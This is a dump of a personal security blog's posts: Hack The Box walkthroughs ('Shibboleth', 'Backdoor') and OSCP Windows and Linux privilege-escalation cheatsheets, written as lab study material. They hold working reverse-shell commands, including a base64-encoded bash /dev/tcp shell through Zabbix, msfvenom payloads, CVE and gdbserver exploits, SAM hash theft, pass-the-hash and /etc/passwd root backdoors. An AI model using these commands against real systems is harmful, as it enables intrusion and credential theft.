the username.\n1hashcat -m 7300 --username hashes.txt /usr/share/wordlists/rockyou.txt After a while hashcat manages to crack the hash, and we obtain valid credentials. We try to use our newly found password to log into Zabbix, and we get in! As Zabbix is a remote IT-infrastructure monitoring tool, we can be sure that we can somehow leverage this platform to obtain local code execution. We navigate to Configuration --\u0026gt; Hosts --\u0026gt; items --\u0026gt; new item. We name our item \u0026quot;LCE\u0026quot;, and specify the following key.\n1system.run[bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.29/9001 0\u0026gt;\u0026amp;1] We change the \u0026quot;Type of information\u0026quot; to text, and test the payload but it fails. I try to use several other payloads, but they all fail. It seems asif the system.run command does not like these special characters. To get rid of them I use base64 encoding like so.\n1system.run[echo -n L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjI5LzkwMDEgMD4mMQ== | base64 -d | bash] We obtain a reverse connection, but after clicking test, the process gets killed by Zabbix after a few seconds. To ensure persistence, we set up another listener on port 9002 and quickly initialize a second reverse shell during the few seconds of available connection.\nPrivilege Escalation Now that we have our foothold as the zabbix user. We stabalize our shell,\n1zabbix@shibboleth:~$ python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 2kali@kali:~$ stty raw -echo 3kali@kali:~$ fg 4zabbix@shibboleth:~$ export TERM=xterm We enumerate the box, and see that an ipmi-svc account is configured. We test for password reuse (based on the ipmi administrator password we just cracked), and manage to get onto the box as the ipmi-svc user.\n1zabbix@shibboleth:~$ su - ipmi-svc 2\u0026gt;\u0026gt; whoami 3 4ipmi-svc@shibboleth:~$ ipmi-svc 5ipmi-svc@shibboleth:~$ ls 6\u0026gt;\u0026gt; user.txt Let's run linpeas, and analyze the results. After a while of enumerating different services, I found the following Linpeas information.\n1mysql Ver 15.1 Distrib 10.3.25-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2 2 3/etc/zabbix/zabbix_server.conf:DBPassword=[...REDACTED...] 4/etc/zabbix/zabbix_server.conf:DBUser=[...REDACTED...] We see that MariaDB version 10.3.25 is running, and that Linpeas found some database credentials for us. When enumerating the service, we find out that this specific version is vulnerable for CVE-2021-27928. We leverage the following PoC on GitHub and follow the instructions.\n1# Generate the shellcode 2kali@kali:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.29 LPORT=1337 -f elf-so -o CVE-2021-27928.so 3 4# Set up a python web server 5kali@kali:~$ python3 -m http.server 8080 6 7# Copy the shellcode to the target system 8ipmi-svc@shibboleth:~$ wget http://10.10.14.29:8080/CVE-2021-27928.so 9 10# Set up a nc listener 11kali@kali:~$ rlwrap nc -nvlp 1337 We copy the .so file to the /tmp directory, authenticate with the database using the obtained credentials and execute the .so file to obtain a reverse shell.\n1ipmi-svc@shibboleth:~$ cp CVE-2021-27928.so /tmp 2ipmi-svc@shibboleth:~$ mysql -u zabbix -p -h localhost 3ipmi-svc@shibboleth:~$ SET GLOBAL wsrep_provider=\u0026#34;/tmp/CVE-2021-27928.so\u0026#34;; 4 5root@shibboleth:/root# whoami 6\u0026gt;\u0026gt; root 7 8root@shibboleth:/root# ls 9\u0026gt;\u0026gt; root.txt It took me a while to find out that the version of MariaDB is vulnerable. Next time it would be good to enumerate the database version, especially when credentials are available.\nI hope you learnt something new from this box, and as always, thanks for reading and see you at the next one!\n","link":"https://aegrah.github.io/post/2022-03-31-shibboleth-htb-walkthrough.html","section":"post","tags":["Hack the Box","Linux"],"title":"Hack The Box - Shibboleth Walkthrough"},{"body":"Welcome to my walkthrough for the \u0026quot;Backdoor\u0026quot; machine from Hack The Box. Backdoor is considered to be an easy box. We get a foothold onto the box through the exploitation of a vulnerable web service running at an unusual port. We can then escalate privileges through a screen session that was still open, which was running as the root user.\nFoothold Today I figured it would be nice to get some tea while the scans were running, so therefore I started the box off with an nmap scan on all ports.\n1nmap -sC -sV -p- -oN nmap/all_ports backdoor.htb Which provides us with three open ports, which are 22, 80 and 1337 (leet!)\n1PORT STATE SERVICE VERSION 222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 3| ssh-hostkey: 4| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA) 5| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA) 6|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519) 780/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 8|_http-server-header: Apache/2.4.41 (Ubuntu) 9|_http-generator: WordPress 5.8.1 10|_http-title: Backdoor \u0026amp;#8211; Real-Life 111337/tcp open waste? 12Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Right away we can see that we are dealing with a wordpress-based web service, and that port 1337 (l33t) is open. The box is named Backdoor.. Would port 1337 have something to do with that? We'll figure it out. Let's first focus on port 80. We start off with a wordpress scan on the background, and visit the page.\n1wpscan --url http://backdoor.htb/ --rua --enumerate ap The wpscan doesn't give us much to work with, neither does looking at the page. Let's use gobuster to see if there are any interesting files/folders.\n1gobuster dir -u http://backdoor.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster.out -x php Which finds the following URI's and files.\n1/wp-content (Status: 301) [Size: 317] [http://backdoor.htb/wp-content/] 2/wp-admin (Status: 301) [Size: 315] [http://backdoor.htb/wp-admin/] 3/wp-includes (Status: 301) [Size: 318] [http://backdoor.htb/wp-includes/] 4/xmlrpc.php (Status: 405) [Size: 42] 5/index.php (Status: 301) [Size: 0] 6/wp-trackback.php (Status: 200) [Size: 135] 7/wp-login.php (Status: 200) [Size: 5674] 8/server-status (Status: 403) [Size: 277] 9/wp-config.php (Status: 200) [Size: 0] I tried enumerating the webservice through these results, but did not manage to find any interesting information. Therefore I decided to start looking into services running on port 1337. After a while I landed on a remote code execution vulnerability in GNU gdbserver 9.2 that I decided to check out. I download the exploit and follow the provided instructions.\n1# I download the exploit 2searchsploit -m linux/remote/50539.py 3 4# I create the reverse shell with the syntax provided by the exploit author 5msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.52 LPORT=9001 PrependFork=true -o rev.bin 6 7# I set up a netcat listener 8rlwrap nc -nvlp 9001 9 10# I excute the script 11┌──(kali㉿kali)-[~/Documents/htb/backdoor] 12└─$ python3 50539.py backdoor.htb:1337 rev.bin 13[+] Connected to target. Preparing exploit 14[+] Found x64 arch 15[+] Sending payload 16[*] Pwned!! Check your listener After which I get a user shell, and manage to read the contents of the user.txt file.\n1connect to [10.10.14.52] from (UNKNOWN) [10.129.96.68] 40000 2whoami 3user 4 5python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 6 7user@Backdoor:/home/user$ ls 8user.txt Privilege Escalation Now that we have our foothold, I download Linpeas to the box and run it. Linpeas quickly indicates the following line as a 95% PE vector:\n1root 948 0.0 0.0 2608 1752 ? Ss 12:18 0:02 _ 2 3/bin/sh -c while true; 4do sleep 1; 5find /var/run/screen/S-root/ -empty -exec screen -dmS root ;; 6done We see that there currently is a screen session running as root. Knowing this, we simply attach to the screen by using the -x switch.\n1screen -x root/root 2 3root@Backdoor:~# whoami 4root 5 6root@Backdoor:~# ls 7root.txt Well, the privilege escalation went a lot quicker than the enumeration phase. A good lesson to learn --\u0026gt; do not leave screen sessions open as the root user :)\nThanks for reading my walkthrough. Have a great day and see you at the next one!\n","link":"https://aegrah.github.io/post/2022-03-29-backdoor-htb-walkthrough.html","section":"post","tags":["Hack the Box","Linux"],"title":"Hack The Box - Backdoor Walkthrough"},{"body":"","link":"https://aegrah.github.io/tags/privilege-escalation.html","section":"tags","tags":null,"title":"Privilege Escalation"},{"body":"","link":"https://aegrah.github.io/categories/privilege-escalation.html","section":"categories","tags":null,"title":"Privilege Escalation"},{"body":"This post is based on the notes and cheatsheets I wrote while studying for the Offensive Security Certified Professional (OSCP) exam, and can be used as a brief reference while looking for basic Windows privilege escalation methods. The contents of this blog originate from the “Windows Privilege Escalation for OSCP \u0026amp; Beyond” course created by Tib3rius. The course is available at Udemy and can be found here.\nTib3rius also created a free room at TryHackMe that can be leveraged to practice the techniques outlined in his course and this cheatsheet. The TryHackMe room can be found here.\nUseful Enumeration Tools While manual enumeration should always be conducted, it is useful to utilize some auto enumeration tools to enhance the enumeration process. This section describes some useful enumeration tools and their syntax. My personal favorite privilege escalation tool is WinPEAS, which is part of the Windows Privilege Escalation Awesome Scripts suite available here. In order to run scripts, we should always first set the batch script execution policy to bypass, after which we can run the script:\n1# set syntax highlighting 2PS\u0026gt; reg add HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 3PS\u0026gt; batch -exec bypass 4PS\u0026gt; .\\winPEASany.exe -h 5 6# by default, runs all checks. 7PS\u0026gt; .\\winPEASany.exe Another useful tool provided by Microsoft is Accesschk.exe, which is part of the Microsoft Sysinternals suite. We should make sure we download an older version of this software, as the newer software doesn't allow the user to accept the EULA via the CLI, and therefore require GUI access. Older versions of Accesschk are found here and here. Example usage:\n1PS\u0026gt; .\\accesschk.exe /accepteula -uwcqv user daclsvc Other useful tools and their syntax is found below:\n1# PowerUp 2PS\u0026gt; .\\PowerUp.ps1 3PS\u0026gt; Invoke-AllChecks 4 5# SharpUp 6PS\u0026gt; .\\SharpUp.exe 7 8# Seatbelt 9# Seatbelt requires options, we can view the options by running the binary: 10PS\u0026gt; .\\Seatbelt.exe 11 12# additionally we can run all Seatbelt checks: 13PS\u0026gt; .\\Seatbelt.exe all Service Exploits Specific versions of a service can be vulnerable to a local privilege escalation exploit. To enumerate a server we can leverage sc.exe:\n1# get general information of a service 2sc.exe qc \u0026lt;name\u0026gt; 3 4# get current status of a service 5sc.exe query \u0026lt;name\u0026gt; 6 7# modify a configuration option of a service: 8sc.exe config \u0026lt;name\u0026gt; \u0026lt;option\u0026gt;= \u0026lt;value\u0026gt; 9 10# start or stop a service 11net start/stop \u0026lt;name\u0026gt; We can lookup the specific service in ExploitDB, on GitHub or Google to find potential exploits.\nService Misconfigurations Misconfigurations of a service can often lead to a privilege escalation vector. Before getting stuck into the service misconfiguration rabbithole, make sure you can start/stop the service. Otherwise the next steps will likely fail (unless we can reboot the server).\nInsecure Service Properties We can use WinPEAS to enumerate services:\n1PS\u0026gt; .\\winPEASany.exe quiet servicesinfo 2 3\u0026gt; [+] Interesting Services -non Microsoft-(T1007) 4\u0026gt; daclsvc(DACL Service)[\u0026#34;C:\\Program Files\\DACL Service\\daclservice.exe\u0026#34;] - Manual - \u0026gt; Stopped 5\u0026gt; YOU CAN MODIFY THIS SERVICE: WriteData/CreateFiles 6\u0026gt; [+] Modifiable Services(T1007) 7\u0026gt; LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s: 8\u0026gt; daclsvc: WriteData/CreateFiles Indicating that we can modify the daclsvc service. We can verify this with accesschk.exe:\n1PS\u0026gt; .\\accesschk.exe /accepteula -uwcqv user daclsvc 2 3\u0026gt; RW daclsvc 4\u0026gt; SERVICE_CHANGE_CONFIG 5\u0026gt; SERVICE_START 6\u0026gt; SERVICE_STOP Which shows us that our user can start and stop the service. Now that we know we can alter the service, and restart it afterwards, we should query the service to see what user it runs as, and what executable it executes:\n1PS\u0026gt; sc qc daclsvc 2 3\u0026gt; SERVICE_NAME: daclsvc 4\u0026gt; TYPE : 10 WIN32_OWN_PROCESS 5\u0026gt; START_TYPE : 3 DEMAND_START 6\u0026gt; ERROR_CONTROL : 1 NORMAL 7\u0026gt; BINARY_PATH_NAME : \u0026#34;C:\\Program Files\\DACL Service\\daclservice.exe\u0026#34; 8\u0026gt; DEPENDENCIES : 9\u0026gt; SERVICE_START_NAME : LocalSystem The service is started as LocalSystem and executes \u0026quot;daclservice.exe\u0026quot;, which tells us that if we alter the daclservice.exe file, the contents of the new file will be executed with system privileges. We generate a reverse shell, alter the service configuration and restart the service after which we get a reverse shell running as the system user:\n1PS\u0026gt; sc config daclsvc binpath= \u0026#34;\\\u0026#39;C:\\PrivEsc\\reverse.exe\\\u0026#39;\u0026#34; 2PS\u0026gt; net start daclsvc Unquoted Service Path We can run WinPEAS to enumerate services, and look for unquoted service path vulnerabilities:\n1PS\u0026gt; .\\winPEASany.exe quiet servicesinfo 2 3\u0026gt; unquotedsvc(Unquoted Path Service)[C:\\Program Files\\Unquoted Path Service\\Common Files\\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected We check if we can start/stop the service, and see if we can write to any of the directories that are specified in the path:\n1# can we restart the service? 2PS\u0026gt; .\\accesschk.exe /accepteula -ucqv user unquotedsvc 3\u0026gt; LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s: 4\u0026gt; unquotedsvc: WriteData/CreateFiles 5 6# can we write to any of the paths? 7PS\u0026gt; C:\\PrivEsc\\accesschk.exe /accepteula -uwdq \u0026#34;C:\\\u0026#34; 8\u0026gt; nope 9PS\u0026gt; C:\\PrivEsc\\accesschk.exe /accepteula -uwdq \u0026#34;C:\\Program Files\\\u0026#34; 10\u0026gt; nope 11 12PS\u0026gt; C:\\PrivEsc\\accesschk.exe /accepteula -uwdq \u0026#34;C:\\Program Files\\Unquoted Path Service\\\u0026#34; 13\u0026gt; RW BUILTIN\\Users 14\u0026gt; RW NT SERVICE\\TrustedInstaller 15\u0026gt; RW NT AUTHORITY\\SYSTEM 16\u0026gt; RW BUILTIN\\Administrators We are part of the Builtin Users group, which means we can write to the \u0026quot;Unquoted Path Service\u0026quot; path, and can create a reverse shell named \u0026quot;Common.exe\u0026quot;:\n1PS\u0026gt; copy reverse.exe \u0026#34;c:\\Program Files\\Unquoted Path Service\\Common.exe\u0026#34; 2 3PS\u0026gt; sc query unquotedsvc 4PS\u0026gt; net start unquotedsvc After which we get a reverse shell running as System.\nWeak Registry Permissions The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service’s configuration even if we cannot modify the service directly.\nWe run WinPEAS to enumerate service information, and verify the permissions of the service:\n1PS\u0026gt; .\\winPEASany.exe quiet servicesinfo 2\u0026gt; HKLM\\system\\currentcontrolset\\services\\regsvc (Interactive [TakeOwnership]) 3 4# verify the permissions: 5PS\u0026gt; C:\\PrivEsc\\accesschk.exe /accepteula -uvwqk HKLM\\System\\CurrentControlSet\\Services\\regsvc 6 7\u0026gt; […] 8\u0026gt; RW NT AUTHORITY\\INTERACTIVE 9\u0026gt; KEY_ALL_ACCESS The NT AUTHORITY/INTERACTIVE group has all access. This is a Pseudo group that consists of users that have an interactive sessions, so we belong to this group. We check the registry key permissions and see if we can restart the service:\n1PS\u0026gt; Get-Acl HKLM:\\System\\CurrentControlSet\\Services\\regsvc | Format-List 2\u0026gt; […] 3\u0026gt; Access : Everyone Allow ReadKey 4\u0026gt; NT AUTHORITY\\INTERACTIVE Allow FullControl 5\u0026gt; […] 6 7# check if we can start/stop the service: 8PS\u0026gt; .\\accesschk.exe /accepteula -ucqv user regsvc 9\u0026gt; LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s: 10\u0026gt; regsvc: WriteData/CreateFiles We have full controll over the registry key, and are allowed to restart the service. We can change the executable that is ran in order to get a reverse shell:\n1PS\u0026gt; reg query HKLM\\SYSTEM\\CurrentControlSet\\services\\regsvc 2\u0026gt; ImagePath REG_EXPAND_SZ \u0026#34;C:\\Program Files\\Insecure Registry Service\\insecureregistryservice.exe\u0026#34; 3\u0026gt; DisplayName REG_SZ Insecure Registry Service 4\u0026gt; ObjectName REG_SZ LocalSystem 5 6PS\u0026gt; reg add HKLM\\SYSTEM\\CurrentControlSet\\services\\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\\PrivEsc\\reverse.exe /f 7 8PS\u0026gt; net start regsvc After which we get a reverse shell running as System.\nInsecure Service Executables If we are allowed to alter the service executable, we can upload our own and restart the service to get a shell. We use WinPEAS to enumerate services, check if we can access the service and whether we can restart the service:\n1PS\u0026gt; .\\winPEASany.exe quiet servicesinfo 2\u0026gt; filepermsvc(File Permissions Service)[\u0026#34;C:\\Program Files\\File Permissions Service\\filepermservice.exe\u0026#34;] - Manual - Stopped 3\u0026gt; File Permissions: Everyone [AllAccess] 4 5# check for write access 6PS\u0026gt; C:\\PrivEsc\\accesschk.exe /accepteula -quvw \u0026#34;C:\\Program Files\\File Permissions Service\\filepermservice.exe\u0026#34; 7\u0026gt; RW Everyone 8\u0026gt; FILE_ALL_ACCESS 9 10# check whether we can restart the service 11PS\u0026gt; .\\accesschk.exe /accepteula -ucqv user filepermsvc 12\u0026gt; LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s: 13\u0026gt; filepermsvc: WriteData/CreateFiles All prerequisites seem to be met. We can now create a backup of the original executable, generate a reverse shell with the same name as the executable and restart the service:\n1# create backup 2PS\u0026gt; copy \u0026#34;C:\\Program Files\\File Permissions Service\\filepermservice.exe\u0026#34; C:\\Temp 3 4# overwrite original service executable 5PS\u0026gt; copy /Y C:\\PrivEsc\\reverse.exe \u0026#34;C:\\Program Files\\File Permissions Service\\filepermservice.exe\u0026#34; 6 7# restart service 8PS\u0026gt; net start filepermsvc After which we get a reverse shell running as System.\nRegistry Insecure registry configurations can lead to several privilege escalation vectors. Two examples include the following:\nAutoruns We run WinPEAS.exe to get application info:\n1PS\u0026gt; .\\winPEASany.exe quiet applicationsinfo 2\u0026gt; [+] Autorun Applications(T1010) 3\u0026gt; Folder: C:\\Program Files\\Autorun Program 4\u0026gt; File: C:\\Program Files\\Autorun Program\\program.exe 5\u0026gt; FilePerms: Everyone [AllAccess] 6\u0026gt; RegPath: HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Which shows that there is an autorun application to which everyone has access. We can exploit this missconfiguration by overwriting program.exe with a reverse shell and restarting the sytem:\n1# create backup 2PS\u0026gt; copy \u0026#34;C:\\Program Files\\Autorun Program\\program.exe\u0026#34; C:\\Temp 3 4# overwrite original executable 5PS\u0026gt; copy /Y C:\\PrivEsc\\reverse.exe \u0026#34;C:\\Program Files\\Autorun Program\\program.exe\u0026#34; 6 7# restart the system 8PS\u0026gt; shutdown /r /t 0 After which we get a reverse shell running as System.\nAlwaysInstallElevated MSI files are package files used to install applications. These files run with the permissions of the user trying to install them. Windows allows for these installers to be run with elevated (i.e. admin) privileges. If this is the case, we can generate a malicious MSI file which contains a reverse shell.\nThe catch is that two Registry settings must be enabled for this to work. The “AlwaysInstallElevated” value must be set to 1 for both the local machine:\n1HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer 2HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer If either of these are missing or disabled, the exploit will not work.\nWe run WinPEAS.exe to enumerate windowscreds:\n1PS\u0026gt; .\\winPEASany.exe quiet windowscreds 2\u0026gt; AlwaysInstallElevated set to 1 in HKLM 3\u0026gt; AlwaysInstallElevated set to 1 in HKCU We can manually check whether the AlwaysInstallElevated is set to 1 in HKLM and HKCU:\n1PS\u0026gt; reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2\u0026gt; HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer 3\u0026gt; AlwaysInstallElevated REG_DWORD 0x1 4 5PS\u0026gt; reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 6\u0026gt; HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer 7\u0026gt; AlwaysInstallElevated REG_DWORD 0x1 We can now generate an msi revere shell:\n1sh\u0026gt; msfvenom -p windows/x64/shell_reverse_tcp LHOST=\u0026lt;IP\u0026gt; LPORT=\u0026lt;port\u0026gt; -f msi -o reverse.msi And execute it:\n1PS\u0026gt; msiexec /quiet /qn /i C:\\PrivEsc\\reverse.msi After which we get a reverse shell running as System.\nPasswords We can run WinPEAS.exe to enumerate any set passwords, or manually query for passwords:\n1PS\u0026gt; .\\winPEASany.exe quiet filesinfo userinfo 2 3# manually 4PS\u0026gt; reg query HKLM /f password /t REG_SZ /s 5PS\u0026gt; reg query HKCU /f password /t REG_SZ /s If any credentials are stored and found, we can use winexe to login as either admin or system:\n1# admin 2sh\u0026gt; winexe -U \u0026#39;admin%password\u0026#39; //10.10.252.99 cmd.exe 3 4# system 5sh\u0026gt; winexe -U \u0026#39;admin%password\u0026#39; --system //10.10.252.99 cmd.exe If credentials are saved onto the system, we can use WinPEAS.exe to retrieve them, or find them ourselves manually:\n1PS\u0026gt; .\\winPEASany.exe quiet cmd windowscreds 2 3PS\u0026gt; cmdkey /list 4 5\u0026gt; Target: Domain:interactive=WIN-QBA94KB3IOF\\admin 6\u0026gt; Type: Domain Password 7\u0026gt; User: WIN-QBA94KB3IOF\\admin We can then use RunAs to use the saved creds and run as that user:\n1PS\u0026gt; runas /savecred /user:admin C:\\PrivEsc\\reverse.exe After which we get a reverse shell as an administrator.\nSecurity Account Manager (SAM) Windows uses the security account manager (SAM) database to store user passwords. If we can download the SAM, we can try to crack the corresponding hashes. The files and their corresponding backups can be found in the following locations:\n1# original files: 2\u0026#34;C:\\Windows\\System32\\config\u0026#34; 3 4# backups 5\u0026#34;C:\\Windows\\Repair\u0026#34; 6\u0026#34;C:\\Windows\\System32\\config\\RegBack\u0026#34; If we find a backup of these files we can copy them over to our attacker system:\n1PS\u0026gt; copy C:\\Windows\\Repair\\SAM \\\\10.10.10.10\\kali\\ 2PS\u0026gt; copy C:\\Windows\\Repair\\SYSTEM \\\\10.10.10.10\\kali\\ And use Python3 creddump7/pwdump.py to dump the hashes, after which we can use hashcat to try and crack the hash:\n1sh\u0026gt; python3 creddump7/pwdump.py SYSTEM SAM 2\u0026gt; admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da::: 3 4sh\u0026gt; hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt If we crack the hash we can use it to login.\nPassing the Hash If we can't crack the hash, we can try to pass the hash. We can use the hash and run the following commands:\n1# administrator shell 2sh\u0026gt; pth-winexe -U \u0026#39;admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da\u0026#39; //\u0026lt;ip\u0026gt; cmd.exe 3 4# system shell 5sh\u0026gt; pth-winexe --system -U \u0026#39;admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da\u0026#39; //\u0026lt;ip\u0026gt; cmd.exe After which we get a shell as system / administrator.\nScheduled Tasks Insecure scheduled tasks can often be used for privilege escalation. We can enumerate any scheduled tasks:\n1CMD\u0026gt; schtasks /query /fo LIST /v 2 3PS\u0026gt; Get-ScheduledTask | where {$_.TaskPath -notlike \u0026#34;\\Microsoft*\u0026#34;} | ft TaskName,TaskPath,State As an example, we find a cleanup.ps1 script to which we can write data and upload a reverse shell:\n1# check if we can write to the file 2PS\u0026gt; C:\\PrivEsc\\accesschk.exe /accepteula -quvw user C:\\DevTools\\CleanUp.ps1 3 4# create backup and alter the file to execute our reverse shell 5PS\u0026gt; copy C:\\DevTools\\CleanUp.ps1 C:\\Temp\\ 6PS\u0026gt; echo C:\\PrivEsc\\reverse.exe \u0026gt;\u0026gt; C:\\DevTools\\CleanUp.ps1 After which we get a reverse shell when it is executed.\nInsecure GUI Apps If we have access to a remote desktop session and find an interesting program that runs as administrator, we can possibly leverage it to spawn a shell as admin. Example:\n1PS\u0026gt; tasklist /V | findstr mspaint We find paint running as administrator. We escalate privileges using the following steps:\nIn Paint, click \u0026quot;File\u0026quot; and then \u0026quot;Open\u0026quot;. In the open file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe Startup Apps If we can write to the start up directory we can execute a reverse shell when an admin logs in. To check this:\n1PS\u0026gt; C:\\PrivEsc\\accesschk.exe /accepteula -d \u0026#34;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\u0026#34; 2 3PS\u0026gt; cscript C:\\PrivEsc\\CreateShortcut.vbs When an admin logs in, we have an admin shell.\nInstalled Apps Enumerate the system for running apps that are potentially vulnerable:\n1PS\u0026gt; tasklist /V 2 3PS\u0026gt; .\\seatbelt.exe NonstandardProcesses 4 5PS\u0026gt; .\\winPEASany.exe quiet procesinfo And search ExploitDB and GitHub for possible privilege escalation exploits.\nToken Impersonation Check for token impersonation permissions:\nSeImpersonatePrivileges SeAssignPrimaryTokenPrivilege If these are enabled, we can possibly run one of the following exploits to escalate privileges:\nHot Potato (oldest) JuicyPotato (younger) RoguePotato (even younger but requires port forwarding) PrintSpoofer (newest and most reliable) User-Privileges-based Privilege Escalation Check what privileges your user has by running the following command:\n1PS\u0026gt; whoami /priv The following privileges can be used for privilege escalation:\nSeBackupPrivilege Grants read access to all objects on the system, regardless of their ACL --\u0026gt; extract hashes and crack them or perform pass-the-hash attack! SeRestorePrivilege Grants write access to all objects on the system, regardless of their ACL --\u0026gt; modify service binaries, overwrite DLL used by a system process or modify registry settings. SeTakeOwnershipPrivilege Lets the user take ownership over an object (the WRITE_OWNER permission). Once you own an object, you can modify it's ACL and grant yourself write access. We can then use the same privesc as with the SeRestorePrivilege If either of these four privileges are enabled:\nSeTcbPrivilege; SeCreateTokenPrivilege; SeLoadDriverPrivilege; SeDebugPrivilege. Google for possible privilege escalation routes!\nMetasploit If all else fails, we can attempt to use Metasploit's local exploit suggester module. Information on how to use this module can be found here. Make sure you are running in an x64-bit process if the system is x64. Migrate if necessary.\nKernel Exploits If even Metasploit fails we can look into kernel exploits. We first need to get the information of the system we are currently running on:\n1PS\u0026gt; systeminfo \u0026gt; \\\\10.10.10.10\\tools\\systeminfo.txt We can then use Windows Exploit Suggester (WES) to identify possible kernel exploits:\n1sh\u0026gt; python wes.py /tools/systeminfo.txt -i \u0026#39;Elevation of Privilege\u0026#39; --exploits-only | more We can then look for pre-compiled kernel exploits here, or look for them on GitHub / Google.\n","link":"https://aegrah.github.io/post/2022-02-17-windows-privilege-escalation.html","section":"post","tags":["Privilege Escalation","Windows"],"title":"Windows Privilege Escalation Techniques"},{"body":"This post is based on the notes and cheatsheets I wrote while studying for the Offensive Security Certified Professional (OSCP) exam, and can be used as a brief reference while looking for basic Linux privilege escalation methods. The contents of this blog originate from the \u0026quot;Linux Privilege Escalation for OSCP \u0026amp; Beyond\u0026quot; course created by Tib3rius. The course is available at Udemy and can be found here.\nTib3rius also created a free room at TryHackMe that can be leveraged to practice the techniques outlined in his course and this blog post. The TryHackMe room can be found here.\nService Exploits Services can be interesting to look into when they are running as high-privileged users. We can check if any of the services are running as a high privileged user:\n1ps aux | grep \u0026#34;^root\u0026#34; If any results are returned, we should enumerate their version and check for publicly available privilege escalation exploits:\n1program --version 2program -v 3dpkg -l | grep \u0026lt;program\u0026gt; 4rpm -qa | grep \u0026lt;program\u0026gt; If the process is bound to an internal port and a given exploit cannot be run locally on the target machine we should use port forwarding to access the target machine. Two possible port forwarding methods are elaborated upon. Method 1 is ran from the attacker PC:\n1ssh -L 127.0.0.1:1337:127.0.0.1:8082 user@\u0026lt;victim_ip\u0026gt; 2 3# where 127.0.0.1:1337 = our box on any port 4# where 127.0.0.1:8082 = victim box on forwarded port Method 2 is ran from the victim PC, and requires an account to be created on the attackers machine:\n1ssh -R 1337:127.0.0.1:8082 user@\u0026lt;victim_ip\u0026gt; 2 3# where 127.0.0.1:1337 = our box on any port 4# where 127.0.0.1:8082 = victim box on forwarded port After which the service can be accessed at localhost:1337\nWeak File Permissions If the /etc/shadow file is readeable, we can extract a user hash and run a dictionary attack to try and crack the hash:\n1cat /etc/shadow 2 3# the hash is between the first and second \u0026#34;:\u0026#34; 4root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7::: 5 6# attempt to crack the hash with John 7john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt If the /etc/shadow file is writeable, we can append a newly created user to the machine:\n1# create a backup in case anything goes wrong 2cp /etc/shadow /tmp/shadow.bak 3 4# create a sha-512 password hash 5mkpasswd -m sha-512 newpassword 6 7# alter the root password hash 8root:\u0026lt;hash\u0026gt;:17298:0:99999:7::: If the /etc/passwd file is writeable, we can alter the root entry to not prompt for a password when switching users. Remove the \u0026quot;x\u0026quot; from the root entry to not be prompted for a password.\n1Original entry: 2\u0026gt; root:x:0:0:root:/root:/bin/bash 3 4New entry: 5\u0026gt; root::0:0:root:/root:/bin/bash Another method is to create a new password using OpenSSL, and it it to the passwd file:\n1openssl passwd \u0026#34;password\u0026#34; 2# WOeqqrPFcHEoA 3 4# Alter the root user entry to use the following password instead of looking for the /etc/shadow file 5 6\u0026gt; root:WOeqqrPFcHEoA:0:0:root:/root:/bin/bash A third method is to add a new user to the /etc/passwd file:\n1echo \u0026#34;newroot:WOeqqrPFcHEoA:0:0:root:/root:/bin/bash\u0026#34; \u0026gt;\u0026gt; /etc/passwd We should check for sensitive files on the filesystem. Some default locations that could contain sensitive files are the following:\nuser home directory; root directory; /tmp directory; /var/backups directory; /var/www/... directory. Sudo-related Methods Sudo can be used to run commands as a different user\n1sudo -u \u0026lt;username\u0026gt; \u0026lt;program\u0026gt; We can list the programs that a specific user is allowed to run as root using the following command:\n1sudo -l If any entries show up, we can visit GTFOBins and look for the program for possible privilege escalation. If there are no GTFOBins entries available for the program, we should figure out if we can use the program to read sensitive data. For example, apache2 can be used to read the first line of the /etc/shadow file with root permissions as following:\n1sudo apache2 -f /etc/shadow If a program cannot be used for privilege escalation we shoudl check the environment variables:\n1sudo -l 2 